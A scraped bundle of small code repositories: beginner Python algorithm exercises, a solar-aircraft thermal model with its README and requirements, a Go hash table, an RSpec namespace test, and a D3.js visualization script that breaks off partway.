@Author : Vismaya @Date : 2021-10-20 12:09 @Last Modified by : Vismaya @Last Modified time : 2021-10-20 12:46 @Title : Prime numbers in a range """ class Prime: def is_prime(self): min = 1 max = 1000 print("Prime numbers ") for i in range(min, max): flag = 1 for j in range(2, i): if i % j == 0: flag = 0 if flag == 1: print(i) prime_obj = Prime() prime_obj.is_prime()<file_sep>""" @Author : Vismaya @Date : 2021-10-18 09:12 @Last Modified by : Vismaya @Last Modified time : 2021-10-18 10:54 @Title : Decimal to Binary Conversion """ class Conversion: @staticmethod def dec_to_bin(dec): if dec > 0: Conversion.dec_to_bin(int(dec / 2)) print(dec % 2, end='') decimal = int(input("Enter a decimal number \n")) convert = Conversion() convert.dec_to_bin(decimal) <file_sep>""" @Author : Vismaya @Date : 2021-10-20 07:36 @Last Modified by : Vismaya @Last Modified time : 2021-10-20 07:47 @Title : Bubble Sort """ arr = [] def bubble_sort(): n = len(arr) for i in range(n - 1): for j in range(0, n - i - 1): if arr[j] > arr[j + 1]: arr[j], arr[j + 1] = arr[j + 1], arr[j] print("Sorted array : ", arr) num = int(input("Enter the number of elements to be insert : ")) print("Enter the elements : ") for j in range(num): arr.append(input()) print("Unsorted Array : ", arr) bubble_sort() <file_sep>""" @Author : Vismaya @Date : 2021-10-18 09:09 @Last Modified by : Vismaya @Last Modified time : 2021-10-18 09:32 @Title : Replace username to string """ userName = input("Enter the user name : ") if len(userName) >= 3: print("Hello " + userName + ", How are you?") else: print("User name have minimum three characters !") <file_sep>""" @Author : Vismaya @Date : 2021-10-19 07:59 @Last Modified by : Vismaya @Last Modified time : 2021-10-19 12:22 @Title : Read values and print 2D array """ def arr_func(): arr = [] print("Enter the values") for i in range(m): a = [] for j in range(n): a.append(int(input())) arr.append(a) for i in range(m): for j in range(n): print(arr[i][j], end=" ") print() m = int(input("Enter the number of rows : ")) n = int(input("Enter the number of columns : ")) arr_func()<file_sep>""" @Author : Vismaya @Date : 2021-10-20 02:23 @Last Modified by : Vismaya @Last Modified time : 2021-10-20 03:15 @Title : Binary Search """ def binary_search(word_arr, n): low = 0 high = len(word_arr) - 1 while low <= high: mid = int((high + low) / 2) if word_arr[mid] < n: low = mid + 1 elif word_arr[mid] > n: high = mid - 1 else: return mid return -1 num = int(input("Enter the number of words to be insert : ")) print("Enter the words : ") words_arr = [] for j in range(num): words_arr.append(input()) print(words_arr) words_arr.sort() word = input("Which word you want to search? : ") result = binary_search(words_arr, word) if result != -1: print("Element is present at index", str(result)) else: print("Element is not present in list1") <file_sep>""" @Author : Vismaya @Date : 2021-10-18 10:28 @Last Modified by : Vismaya @Last Modified time : 2021-10-18 11:19 @Title : Check given year is Leap year or not """ import math def is_leap_year(num): if num % 4 == 0: flag = 1 else: flag = 0 return flag; year = int(input("Enter the Year : ")) digits = int(math.log10(year))+1 if digits == 4: if is_leap_year(year) == 1: print("Leap Year") else: print("Not a Leap Year") else: print("Invalid Year")<file_sep>""" @Author : Vismaya @Date : 2021-10-20 01:35 @Last Modified by : Vismaya @Last Modified time : 2021-10-20 02:04 @Title : Solution of Quadratic equation """ import math def calc_root(a, b, c): root1 = 0 root2 = 0 delta = (pow(b, 2) - (4 * a * c)) if delta > 0: root1 = (-b + math.sqrt(delta)) / (2 * a) root2 = (-b - math.sqrt(delta)) / (2 * a) root1 = round(root1, 2) root2 = round(root2, 2) print("Roots of Equation x1 : ", root1, " , x2 : ", root2) elif delta == 0: root1 = (-b + math.sqrt(delta)) / (2 * a) root1 = round(root1, 2) print("Roots of Equation x1 : ", root1) else: print("Roots of Equation is imaginary") fno = int(input("Enter first number : ")) sno = int(input("Enter second number : ")) tno = int(input("Enter third number : ")) calc_root(fno, sno, tno)
263de4f8de9bfb8e82046ef87d271872eaad2de9
[ "Python" ]
24
Python
vismayatk002/PythonAssignment
eaa66979e442cc01d1c6c45448dfb9296c01a9da
4294d01a961a63e514087dce88a636b3541227bc
refs/heads/master
<file_sep>## Atmospheric electric satellite. See [<b>atmosat.ipynb</b>](https://github.com/gusgordon/atmosat/blob/master/atmosat.ipynb). The goal of this project is to determine what the smallest solar plane that can indefinitely sustain flight is. The approach is to first make a model of a solar plane that can be fed different parameters such as wingspan, battery mass, cruising altitude, number of props, payload mass, and so on. The model outputs the performance of the solar aircraft. Different plane configutations are then fed into the model under an optimization procedure (differential evolution seems to work best). The goal of the optimization procedure is to find plane with the lowest wingspan that is able to indefinitely remain in the air. ### Results - see [notebook](https://github.com/gusgordon/atmosat/blob/master/atmosat.ipynb) for details. All units are in metric (meters, kg, kW, and so on). ![example_result](example_result.png) <file_sep>""" Nu = h * L / k h = Nu * k / L k = 2.15 for dry air around 240 K https://www.sfu.ca/~mbahrami/ENSC%20388/Notes/Forced%20Convection.pdf for Pr > 0.6 laminar: Nu = 0.664 * Re ** (1 / 2) * Pr ** (1 / 3) h = (k / L) * 0.664 * Re ** (1 / 2) * Pr ** (1 / 3) for 60 > Pr > 0.6 turbulent: Nu = 0.037 * Re ** (4 / 5) * Pr ** (1 / 3) h = (k / L) * 0.037 * Re ** (4 / 5) * Pr ** (1 / 3) Re from average Re over wing in each region Pr = 0.725 for dry air around 240 K dQ/dt = h * A * deltaT absortance and emissivity for solar cells ~= 0.8 -- http://webserver.dmt.upm.es/~isidoro/dat1/Thermooptical.pdf outgoing: j* = Stefan_Boltzmann * 0.8 * T ** 4 incoming: from solar radiation lookup also from battery & motor heat https://dothemath.ucsd.edu/2012/01/basking-in-the-sun/ find T of plane use T to calculate cell efficiency: http://www.sun-life.com.ua/doc/sunpower%20C60.pdf positive means heat going into wall dQ/dt = h * A_wing * (T_air - T_wall) + engine_power * inverse_eff + (solar_irrad * wing_absorbance * A_wing) + (albedo * wing_absorbance * A_wing) - (2 * A_wing * Stefan_Boltzmann * 0.8 * T_wall ** 4) dQ/dt = 0 """ from scipy import optimize, constants # When the plane is flying through the air, what will its temperature be? # After running this and playing around with it, it was obvious that the plane temperature # is pretty much equivalent to the temperature of air it's flying through # even accounting for heating due to air compression in front of the wing, heating from waste heat, # and sun radiation. def get_craft_temperature(wing_area_lam, wing_area_turb, Re_lam, Re_turb, char_length, T_air, heat_waste, solar_irrad, albedo, absorbance=0.8, emissivity=0.8): # Defaults for wing # https://www.sfu.ca/~mbahrami/ENSC%20388/Notes/Forced%20Convection.pdf # http://webserver.dmt.upm.es/~isidoro/dat1/Thermooptical.pdf # Assume entire aircraft is of same temperature initial_guess = 240 # Guess 240 K for initial temp air_thermal_conductivity = 2.15 # for dry air around 240k Pr = 0.725 # Prandtl number for dry air around 240 K wing_area = wing_area_lam + wing_area_turb # Find heat transfer coeff using Nussult number h_lam = (air_thermal_conductivity / char_length) * 0.664 * Re_lam ** (1 / 2) * Pr ** (1 / 3) h_turb = (air_thermal_conductivity / char_length) * 0.037 * Re_turb ** (4 / 5) * Pr ** (1 / 3) h_eff = (h_lam * wing_area_lam + h_turb * wing_area_turb) / wing_area incoming_radiation = solar_irrad * absorbance * wing_area + albedo * absorbance * wing_area temp_de = lambda x: (h_eff * wing_area * (T_air - x) + heat_waste + incoming_radiation - (2 * wing_area * constants.Stefan_Boltzmann * emissivity * x ** 4)) return optimize.fsolve(temp_de, initial_guess)[0] # Confirm craft temp ~= air temp assert(239 < get_craft_temperature(7.0, 3.0, 2e5, 7e5, 1.1, 240.0, 50, 1000, 100) < 241) # This can also be used to get the power requirement for heating battery pack # Assume insulation (aerogel etc.) blocks all convection and conduction # Radiation shield (aluminum foil) has emissivity of 0.05 # 400 18650 cells means a pack surface area ~0.35 m^2 # This shows heating takes about 20 W of power # Due to square cube law, (num_cells / 400) ^ (2 / 3) * 20 = power requirement for heating #get_craft_temperature(0.0, 0.35, 0, 0, 0.5, 240.0, 20, 0, 0, emissivity=0.05)<file_sep>-e git://github.com/gusgordon/airmass.git#egg=airmass appnope==0.1.0 attrs==19.1.0 backports-abc==0.5 backports.functools-lru-cache==1.5 backports.shutil-get-terminal-size==1.0.0 bleach==3.1.1 configparser==3.7.4 cycler==0.10.0 decorator==4.4.0 defusedxml==0.6.0 entrypoints==0.3 enum34==1.1.6 funcsigs==1.0.2 ipaddress==1.0.22 ipykernel==4.10.0 ipython==5.8.0 ipython-genutils==0.2.0 ipywidgets==7.5.0 Jinja2==2.10.1 jsonschema==3.0.1 jupyter==1.0.0 jupyter-client==5.3.1 jupyter-console==5.2.0 jupyter-core==4.5.0 kiwisolver==1.1.0 llvmlite==0.29.0 MarkupSafe==1.1.1 matplotlib==2.2.4 mistune==0.8.4 nbconvert==5.5.0 nbformat==4.4.0 notebook==5.7.8 numba==0.44.1 numpy==1.16.4 pandas==0.24.2 pandocfilters==1.4.2 pathlib2==2.3.4 pexpect==4.7.0 pickleshare==0.7.5 prometheus-client==0.7.1 prompt-toolkit==1.0.16 ptyprocess==0.6.0 Pygments==2.4.2 pyparsing==2.4.0 pyrsistent==0.15.3 python-dateutil==2.8.0 pytz==2019.1 pyzmq==18.0.2 qtconsole==4.5.1 scandir==1.10.0 scipy==1.2.2 Send2Trash==1.5.0 simplegeneric==0.8.1 singledispatch==3.4.0.3 six==1.12.0 subprocess32==3.5.4 terminado==0.8.2 testpath==0.4.2 tornado==5.1.1 traitlets==4.3.2 wcwidth==0.1.7 webencodings==0.5.1 widgetsnbextension==3.5.0
2ada265d893375b8d4485c321f8ef77a7b9f15b6
[ "Markdown", "Python", "Text" ]
3
Markdown
gusgordon/atmospheric_satellite
c47ccb2b604d70afb5d5f90251b3704639b7897f
1f467526f9f8df5e340eaf8e1a9c234cb71923ea
refs/heads/master
<file_sep>Works as expected ``` rspec spec/batting_spec.rb . Finished in 0.00285 seconds (files took 0.12198 seconds to load) 1 example, 0 failures ``` Global namepsace polluted ``` rspec spec/bowling_spec.rb spec/batting_spec.rb .F Failures: 1) Batting does weird thing Failure/Error: expect { self.class.const_get(:METRICS_NAMESPACE) }.to raise_error(NameError) expected NameError but nothing was raised # ./spec/batting_spec.rb:6:in `block (3 levels) in <top (required)>' Finished in 0.01445 seconds (files took 0.12715 seconds to load) 2 examples, 1 failure Failed examples: rspec ./spec/batting_spec.rb:5 # Batting does weird thing ```<file_sep>require "spec_helper" describe Batting do context do it "does weird thing" do expect { self.class.const_get(:METRICS_NAMESPACE) }.to raise_error(NameError) end end end<file_sep>require "spec_helper" describe Bowling do context "when validate is defined" do let(:dummy_class) { Class.new(described_class) do METRICS_NAMESPACE = "ExtendedClass.Metrics.namespace" end } it "does nothing" do dummy_class end end end
95b39d852e9dc97243b78d9cf6655fe024b90c5b
[ "Markdown", "Ruby" ]
3
Markdown
pratik60/rspec-pollution
7fe50127127450fa0738ca85242b94742c82254c
7b5aa4672ac7e611173917967e58a07de180a638
refs/heads/master
<file_sep># lottery just a lottery drawing for fun <file_sep>var gulp = require("gulp"); var del = require("del"); var webpack = require("webpack"); var webpackDevServer = require("webpack-dev-server"); var webpackConfig = require("./webpack.config"); var openUrl = require("openurl") gulp.task("clean:dist",function(){ del("./dist/**/*"); }) gulp.task("dev",function(){ var complier = webpack(webpackConfig); new webpackDevServer(complier,{ contentBase: './', historyApiFallback: true, hot: true, noInfo: false, publicPath: "/" }).listen(8090,function(){ console.log('listening: http://localhost:' + 8090); openUrl.open("http://localhost:8090") }) })
9324f3989778b266113553f8d328259800dd4237
[ "Markdown", "JavaScript" ]
2
Markdown
zhoureal/lottery
0233a951ba775e2a13891e92341da6a509474fa6
f016040b7012873fa89c4462a611e8e2a84bda6d
refs/heads/master
<file_sep>struct file { enum { FD_NONE, FD_PIPE, FD_INODE } type; int ref; // reference count char readable; char writable; struct pipe *pipe; struct inode *ip; uint off; }; // in-memory copy of an inode struct inode { uint dev; // Device number uint inum; // Inode number int ref; // Reference count struct sleeplock lock; // protects everything below here int valid; // inode has been read from disk? short type; // copy of disk inode short major; short minor; short nlink; uint size; uint addrs[NDIRECT + 1]; }; // table mapping major device number to // device functions struct devsw { int (*isdir)(struct inode *); void (*iread)(struct inode *, struct inode *); int (*read)(struct inode *, char *, int, int); int (*write)(struct inode *, char *, int); }; extern struct devsw devsw[]; #define CONSOLE 1 #define PROCFS 2 #define IS_DEV_DIR(ip) (ip->type == T_DEV && devsw[ip->major].isdir && devsw[ip->major].isdir(ip)) #define TOTAL_INODE_NUM 200 #define PROC_MINOR 0 #define FILE_STAT 7 #define IDE_INFO 8 #define PID_INUM_START 400 #define INODE_INFO 100 #define IS_INODE_INFO_INDEX_INUM(ip) ip->inum >= TOTAL_INODE_NUM + INODE_INFO && ip->inum <= TOTAL_INODE_NUM + 2 * INODE_INFO #define GET_INODE_INFO_INDEX_MINOR(ip) (INODE_INFO + (ip->inum - TOTAL_INODE_NUM - INODE_INFO)) #define GET_INODE_INFO_INDEX_INUM(index) (INODE_INFO + TOTAL_INODE_NUM + index + 1) #define PID_NAME_OFF 2 #define PID_STATUS_OFF 3 #define CURRENT_DIR_OFF 0 #define PARENT_DIR_OFF 1 #define IDE_INFO_OFF 2 #define FILE_STAT_OFF 3 #define INODE_INFO_OFF 4<file_sep>// // Created by nadav and avishag on 6/12/19. // #include "types.h" #include "stat.h" #include "user.h" #include "fs.h" void getData(char *buf, char *s) { char *temp = s; char *s1, *s2; int len = 0; for (int i = 0; i < 7; ++i) { s1 = strchr(buf, ':') + 2; s2 = strchr(buf, '\n'); len = (int) s2 - (int) s1; if (i == 0 || i == 1) { memmove(temp + 1, s1, len); *temp = '#'; len++; } else { memmove(temp, s1, len); } buf = s2 + 1; temp += len; *temp = ' '; temp++; } *temp = '\0'; } int main(void) { int inodesDirFd = open("/proc/inodeinfo", 0); struct dirent de; char path[64]; char buf[512]; char result[512]; while (read(inodesDirFd, &de, sizeof(de)) > 0) { if (de.name[0] != '.') { sprintf(path, "/proc/inodeinfo/%s", de.name); int inodeFd = open(path, 0); if (read(inodeFd, &buf, sizeof(buf)) <= 0) { printf(1, "reading name: %s inum: %d failed\n", de.name, de.inum); } getData(buf, result); printf(1, "%s\n", result); close(inodeFd); } } close(inodesDirFd); exit(); } <file_sep>#include "types.h" #include "stat.h" #include "defs.h" #include "param.h" #include "traps.h" #include "spinlock.h" #include "sleeplock.h" #include "fs.h" #include "file.h" #include "memlayout.h" #include "mmu.h" #include "proc.h" #include "x86.h" int procfsisdir(struct inode *ip) { if (ip->minor == PROC_MINOR) { return 1; } else if (ip->minor == INODE_INFO) { return 1; } else if (ip->minor > PID_INUM_START && (ip->minor & 3) == 0) { return 1; } return 0; } void procfsiread(struct inode *dp, struct inode *ip) { ip->major = PROCFS; ip->type = T_DEV; ip->valid = 1; ip->ref = (ip->ref > 0) ? ip->ref : 1; if (ip->inum == TOTAL_INODE_NUM + FILE_STAT) { ip->minor = FILE_STAT; } else if (ip->inum == TOTAL_INODE_NUM + IDE_INFO) { ip->minor = IDE_INFO; } else if (ip->inum == TOTAL_INODE_NUM + INODE_INFO) { ip->minor = INODE_INFO; } else if (IS_INODE_INFO_INDEX_INUM(ip)) { ip->minor = (short) GET_INODE_INFO_INDEX_MINOR(ip); } else if (ip->inum > PID_INUM_START && (ip->inum & 3) == 0) { ip->minor = (short) ip->inum; } else if (ip->inum > PID_INUM_START) { ip->minor = (short) ip->inum; } } int procfsread(struct inode *ip, char *dst, int off, int n) { //case /proc if (ip->minor == PROC_MINOR) { struct dirent *de = (struct dirent *) dst; int deOff = off / sizeof(struct dirent); int pid = 0; int index = 0; switch (deOff) { case CURRENT_DIR_OFF: safestrcpy(de->name, ".", sizeof(".")); de->inum = (ushort) ip->inum; return sizeof(struct dirent); case PARENT_DIR_OFF: safestrcpy(de->name, "..", sizeof("..")); de->inum = (ushort) namei("/")->inum; return sizeof(struct dirent); case IDE_INFO_OFF: safestrcpy(de->name, "ideinfo", sizeof("ideinfo")); de->inum = (IDE_INFO + TOTAL_INODE_NUM); return sizeof(struct dirent); case FILE_STAT_OFF: safestrcpy(de->name, "filestat", sizeof("filestat")); de->inum = (FILE_STAT + TOTAL_INODE_NUM); return sizeof(struct dirent); case INODE_INFO_OFF: safestrcpy(de->name, "inodeinfo", sizeof("inodeinfo")); de->inum = (INODE_INFO + TOTAL_INODE_NUM); return sizeof(struct dirent); default: index = deOff - INODE_INFO_OFF; pid = getPIDByIndex(index); if (pid < 0) return 0; sprintf(de->name, "%d", pid); de->inum = (ushort) (PID_INUM_START + pid) << 2; return sizeof(struct dirent); } } else if (ip->minor == FILE_STAT) { if (off > 0) return 0; int freeFds = 0; int uniqueInodesFds = 0; int writableFds = 0; int readablesFds = 0; int totalRefs = 0; int usedFds = 0; procfs_filestat(&freeFds, &uniqueInodesFds, &writableFds, &readablesFds, &totalRefs, &usedFds); sprintf(dst, "Free fds: %d\nUnique inode fds: %d\nWritable fds: %d\nReadable fds: %d\nRefs per fds: %d/%d\n", freeFds, uniqueInodesFds, writableFds, readablesFds, totalRefs, usedFds); return strlen(dst); }//case /proc/ideinfo else if (ip->minor == IDE_INFO) { if (off > 0) return 0; int waitOp = 0; int readOp = 0; int writeOp = 0; char workingBlocks[512]; ideinfo(&waitOp, &readOp, &writeOp, workingBlocks); sprintf(dst, "Waiting operations: %d\nRead waiting operations: %d\nWrite waiting operations: %d\nWorking blocks: %s\n", waitOp, readOp, writeOp, workingBlocks); return strlen(dst); } //case /proc/inodeinfo else if (ip->minor == INODE_INFO) { struct dirent *de = (struct dirent *) dst; int deOff = off / sizeof(struct dirent); if (deOff == CURRENT_DIR_OFF) { safestrcpy(de->name, ".", sizeof(".")); de->inum = (ushort) ip->inum; return sizeof(struct dirent); } else if (deOff == PARENT_DIR_OFF) { safestrcpy(de->name, "..", sizeof("..")); de->inum = (ushort) namei("/proc")->inum; return sizeof(struct dirent); } else { deOff -= 2; int index = indexInInodeTable(deOff); if (index < 0) return 0; sprintf(de->name, "%d", index); de->inum = (ushort) GET_INODE_INFO_INDEX_INUM(index); return sizeof(struct dirent); } } //case /proc/inodeinfo/... else if (ip->minor > INODE_INFO && ip->minor <= INODE_INFO + NINODE + 1) { if (off > 0) return 0; int index = ip->minor - 1 - INODE_INFO; struct inode *np = getInodeByIndex(index); char *types[] = {"", "FILE", "DIR", "DEV"}; sprintf(dst, "Device: %d\nInode number: %d\nis valid: %d\ntype: %s\nmajor minor: (%d,%d)\nhard links: %d\nblocks used: %d\n", np->dev, np->inum, (np->valid) ? 1 : 0, types[np->type], np->major, np->minor, np->nlink, (np->type != T_DEV) ? np->size / BSIZE + (np->size % BSIZE > 0) : 0); return strlen(dst); }//case /proc/PID else if (ip->minor > PID_INUM_START && (ip->minor & 3) == 0) { struct dirent *de = (struct dirent *) dst; int deOff = off / sizeof(struct dirent); if(deOff == CURRENT_DIR_OFF){ safestrcpy(de->name, ".", sizeof(".")); de->inum = (ushort) ip->inum; return sizeof(struct dirent); }else if(deOff == PARENT_DIR_OFF){ safestrcpy(de->name, "..", sizeof("..")); de->inum = (ushort) namei("/proc")->inum; return sizeof(struct dirent); }else if (deOff == PID_NAME_OFF) { sprintf(de->name, "name"); de->inum = (ushort) (ip->inum + 1); return sizeof(struct dirent); } else if (deOff == PID_STATUS_OFF) { sprintf(de->name, "status"); de->inum = (ushort) (ip->inum + 2); return sizeof(struct dirent); } } else if (ip->minor > PID_INUM_START && ip->minor & 1) { if (off > 0) return 0; char procName[16]; int pid = ((ip->minor - 1) >> 2) - PID_INUM_START; if (getProcInfo(pid, procName, 0, 0) < 0) return 0; sprintf(dst, "%s\n", procName); return strlen(dst); } else if (ip->minor > PID_INUM_START && ip->minor & 2) { if (off > 0) return 0; char status[16]; int size = 0; int pid = ((ip->minor - 2) >> 2) - PID_INUM_START; if (getProcInfo(pid, 0, &size, status) < 0) return 0; sprintf(dst, "state: %s\nsize: %d\n", status, size); return strlen(dst); } return 0; } int procfswrite(struct inode *ip, char *buf, int n) { return -1; } void procfsinit(void) { devsw[PROCFS].isdir = procfsisdir; devsw[PROCFS].iread = procfsiread; devsw[PROCFS].write = procfswrite; devsw[PROCFS].read = procfsread; } <file_sep>#include "types.h" #include "x86.h" void* memset(void *dst, int c, uint n) { if ((int)dst%4 == 0 && n%4 == 0){ c &= 0xFF; stosl(dst, (c<<24)|(c<<16)|(c<<8)|c, n/4); } else stosb(dst, c, n); return dst; } int memcmp(const void *v1, const void *v2, uint n) { const uchar *s1, *s2; s1 = v1; s2 = v2; while(n-- > 0){ if(*s1 != *s2) return *s1 - *s2; s1++, s2++; } return 0; } void* memmove(void *dst, const void *src, uint n) { const char *s; char *d; s = src; d = dst; if(s < d && s + n > d){ s += n; d += n; while(n-- > 0) *--d = *--s; } else while(n-- > 0) *d++ = *s++; return dst; } // memcpy exists to placate GCC. Use memmove. void* memcpy(void *dst, const void *src, uint n) { return memmove(dst, src, n); } int strncmp(const char *p, const char *q, uint n) { while(n > 0 && *p && *p == *q) n--, p++, q++; if(n == 0) return 0; return (uchar)*p - (uchar)*q; } char* strncpy(char *s, const char *t, int n) { char *os; os = s; while(n-- > 0 && (*s++ = *t++) != 0) ; while(n-- > 0) *s++ = 0; return os; } // Like strncpy but guaranteed to NUL-terminate. char* safestrcpy(char *s, const char *t, int n) { char *os; os = s; if(n <= 0) return os; while(--n > 0 && (*s++ = *t++) != 0) ; *s = 0; return os; } int strlen(const char *s) { int n; for(n = 0; s[n]; n++) ; return n; } static void sputc(char* dst, char c, int* index) { dst[(*index)++] = c; } static void sprintint(char* dst, int xx, int base, int sgn,int* index) { static char digits[] = "0123456789ABCDEF"; char buf[16]; int i, neg; uint x; neg = 0; if(sgn && xx < 0){ neg = 1; x = -xx; } else { x = xx; } i = 0; do{ buf[i++] = digits[x % base]; }while((x /= base) != 0); if(neg) buf[i++] = '-'; while(--i >= 0) sputc(dst, buf[i],index); } // Print to the given fd. Only understands %d, %x, %p, %s. void sprintf(char* dst, const char *fmt, ...) { char *s; int c, i, state; uint *ap; int index = 0; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ state = '%'; } else { sputc(dst, c,&index); } } else if(state == '%'){ if(c == 'd'){ sprintint(dst, *ap, 10, 1,&index); ap++; } else if(c == 'x' || c == 'p'){ sprintint(dst, *ap, 16, 0,&index); ap++; } else if(c == 's'){ s = (char*)*ap; ap++; if(s == 0) s = "(null)"; while(*s != 0){ sputc(dst, *s,&index); s++; } } else if(c == 'c'){ sputc(dst, *ap,&index); ap++; } else if(c == '%'){ sputc(dst, c,&index); } else { // Unknown % sequence. Print it to draw attention. sputc(dst, '%',&index); sputc(dst, c,&index); } state = 0; } } dst[index] = '\0'; } <file_sep>// // Created by nadav on 6/4/19. // #include "types.h" #include "stat.h" #include "user.h" int main(){ char buf[16]; // memset(buf, 0, sizeof(buf)); // sprintf(buf,"Hello %s %d %p\n","World!", sizeof(ushort), &buf); // printf(1,"%s",buf); printf(1,"Hello %s %d %p\n","World!",5, &buf); exit(); }
0dcbcaebc22cfe9857a341d56ddcc8d59a036b96
[ "C" ]
5
C
saharavishag/operation-system
e3f3a8b425b051f69039e67fcce6d7b730e8c1aa
6dfbe4537ed7242d28a03dd1d6c90bdc27e48fec
refs/heads/master
<repo_name>quzhen12/hashTable<file_sep>/hash.go package HashTable func HashFunction(str string) int { var sum int = 0 for i, s := range str { ii := int(i) + 1 ss := int(s) sum += ss*ii } sum = sum % 2069 return sum }<file_sep>/go.mod module hashTable go 1.12 <file_sep>/hashTable.go package HashTable var array []*linkList type linkList struct { Key string Value interface{} NextNode *linkList } func (m *model)Add(key string, value interface{}) { index := HashFunction(key) if index > len(array) { list := linkList{} list.Key = key list.Value = value lens := len(array) for i := 0; i <= (index - lens); i++ { array = append(array, new(linkList)) } array[index] = &list return } list := array[index] for { if list.Key == "" && list.Value == nil { list.Key = key list.Value = value return } list = list.NextNode } } func (m *model)Get(key string) interface{} { index := HashFunction(key) list := array[index] for { if list.Key == "" && list.Value == nil { return nil } if list.Key == key { return list.Value } list = list.NextNode } } type model struct { } type HashTable interface { Add(key string, value interface{}) Get(key string) interface{} } func NewHashTable() HashTable{ var ht HashTable ht = new(model) return ht }
074f34e07790e8ca9685039d35f1bcd571fd3f88
[ "Go Module", "Go" ]
3
Go
quzhen12/hashTable
4053d9ad40163af337e16370df0a9891e14127de
de47015de5a51989f0c3d4190abc65dae1fdd5c7
refs/heads/master
<repo_name>judeagan1/hpc-vis-with-barchart<file_sep>/code.js // Env params const padding = 30; const container_width = 800; const container_height = 900; const svg_width = container_width*3 + padding*4; const svg_height = container_height + padding*2; // draw svg canvas var svg = d3.select('#svg_chart').append('svg') .attr('width', svg_width) .attr('height', svg_height) .style("background", 'none'); // draw first container var container_1 = svg.append('rect') .attr('fill', '#e5d8d2') .attr('stroke', 'black') .attr('x', padding) .attr('y', padding) .attr('width', container_width) .attr('height', container_height) // draw second container var container_2 = svg.append('rect') .attr('fill', '#c5e3f6') .attr('stroke', 'black') .attr('x', container_width + padding*2) .attr('y', padding) .attr('width', container_width) .attr('height', container_height); // draw third container var container_3 = svg.append('rect') .attr('fill', '#9ad3be') .attr('stroke', 'black') .attr('x', container_width*2 + padding*3) .attr('y', padding) .attr('width', container_width) .attr('height', container_height); // the group of matrix title var name_group = svg.append("g") .attr("transform", "translate(0, " + padding*2/3 + ")"); // add title of first container name_group.append("text") .attr("class", "container_name") .attr("x", container_width/2 + padding) .text("Structure of program"); // add title of second container name_group.append("text") .attr("class", "container_name") .attr("x", container_width*3/2 + padding*2) .text("Graph View"); // add title of third container name_group.append("text") .attr("class", "container_name") .attr("x", container_width*5/2 + padding*3) .text("Performance Profile"); // first container canvas var container_1_plot = svg.append('g') .attr('class', 'container_1_plot') .attr('transform', `translate(${padding*3/2}, ${padding*3/2})`); // second container canvas var container_2_plot = svg.append('g') .attr('class', 'container_2_plot') .attr('transform', `translate(${padding*5/2 + container_width}, ${padding*3/2})`); // third container canvas var container_3_plot = svg.append('g') .attr('class', 'container_1_plot') .attr('transform', `translate(${padding*7/2 + container_width*2}, ${padding*3/2})`); // drop down options var options = ["top_5", "bottle_5", "top_vs_bottle"]; var dorp_down = d3.select("#drop_down") .selectAll("options") .data(options) .enter() .append("option") .attr("value", d => {return d;}) .property("selected", d => {return d === options[0]}) .text(d => { return d[0].toUpperCase() + d.slice(1, d.length).split("_").join(" "); }); // 1. TO DO: draw tree structure of the tree var globalRoot; // declares a tree var treemap = d3.tree().size([container_width - padding, container_height - padding]); //tooltips for bar-chart and tree var tip = d3.tip().attr('class','d3-tip') .html(d => { var text = "<strong>Name:</strong> <span style='color:#ff9f68'>" + d.data.task_name + "</span><br>"; text += "<strong>Time:</strong> <span style='color:#ff9f68'>" + d.data.time + "</span><br>"; if (d.data.children_count != 0){ text += "<strong>Children:</strong> <span style='color:#ff9f68'>" + d.data.children_count+ "</span><br>"; } if (d.data.tag != null){ text += "<strong>Tag:</strong> <span style='color:#ff9f68'>" + d.data.tag + "</span><br>"; } return text }); // Read Json file d3.json("data/visual_sys.json").then( treeData => { // console.log(treeData); // Assign parent, children, height, depth var root = d3.hierarchy(treeData, d => { return d.tasks; }); root.x0 = container_height / 2; root.y0 = 0; globalRoot = root; // Assigns the x and y position for the nodes treeRoot = treemap(root); // draw tree draw_tree(treeRoot); draw_bars(root); // to get time time_data map()filter() }); function draw_tree(root) { // draw the links between the nodes var link = container_1_plot.selectAll(".link") .data( root.descendants().slice(1)) .enter().append("path") .attr("class", "link") .attr("d", d => { //look up d3 path format //write function to convert a start point and end point to this format return "M" + d.x + "," + d.y + "C" + d.x + "," + (d.y + d.parent.y) / 2 + " " + d.parent.x + "," + (d.y + d.parent.y) / 2 + " " + d.parent.x + "," + d.parent.y; }); // draw nodes var node = container_1_plot.selectAll(".node") .data(root.descendants()) .enter().append("g") .attr("class", d => { return "node" + (d.children ? " node--internal" : " node--leaf"); }) .attr("transform", d => { return "translate(" + d.x + "," + d.y + ")"; }) // shows the task name but is too cluttered. revisit later // node.append("text") // .text(d => d.data.task_name) // .attr('dy', '0.32em'); node.append("circle") .attr("r", 5) .data(root.descendants()) .on('mouseover', tip.show) .on('mouseout', tip.hide) .on('click', d => { draw_bars(d); }); // Add text and tooltips for node and links // ....................................... container_1_plot.call(tip); // Make the tree zoomable and collapsible // ...................................... } // 2. TO DO: drop down event d3.select("#drop_down").on("change", d => { var value = d3.select("#drop_down").property("value"); console.log(value); }); d3.select("#start_pro").on("input", graph_display); d3.select("#end_pro").on("input", graph_display); function graph_display() { // Obtained value from input box var start_pro = d3.select("#start_pro").property("value"); var end_pro = d3.select("#end_pro").property("value"); console.log(start_pro); console.log(end_pro); } // 3. TO DO: draw graph (also need to consider the drop down value) var transition = d3.transition().duration(500); var y = d3.scaleBand() .range([(container_height - padding*2),0]) .padding(0.2) var x = d3.scaleLinear() .range([0, (container_width - padding *2)]) var z = d3.scaleOrdinal(d3.schemeSet2); var x_axis = container_2_plot.append('g') .attr("transform", "translate(" + padding + ", " + (container_height - padding*2) + ")") var y_axis = container_2_plot.append('g') .attr("transform", "translate(" + padding + ", 0)") var x_label = container_2_plot.append("text") .attr("class", "axis_label") .attr("x", container_width/2) .attr("y", container_height - padding) .attr("text-anchor", "middle") .text("Time(s)"); var y_label = container_2_plot.append("text") .attr("class", "axis_label") .attr("x", -(container_width/2)) .attr("y", 5) .attr("text-anchor", "middle") .attr("transform", "rotate(-90)") // Draw bar chat function draw_bars(data) { //array storing all of the nodes time and name for a specific depth in order to extract their time data timeArray = [] let timeObject = {}; //upon clicking a node, this displays all of its siblings, shows how many siblings there are, //and stores all sibling nodes to access their time data conveniently globalRoot.descendants().forEach(node => { if(node.depth === data.depth){ // console.log(node) if (timeObject[node.data.task_name] === undefined){ timeObject[node.data.task_name] = node.data.time; } else if (timeObject[node.data.task_name] !== undefined){ timeObject[node.data.task_name] += node.data.time; } } 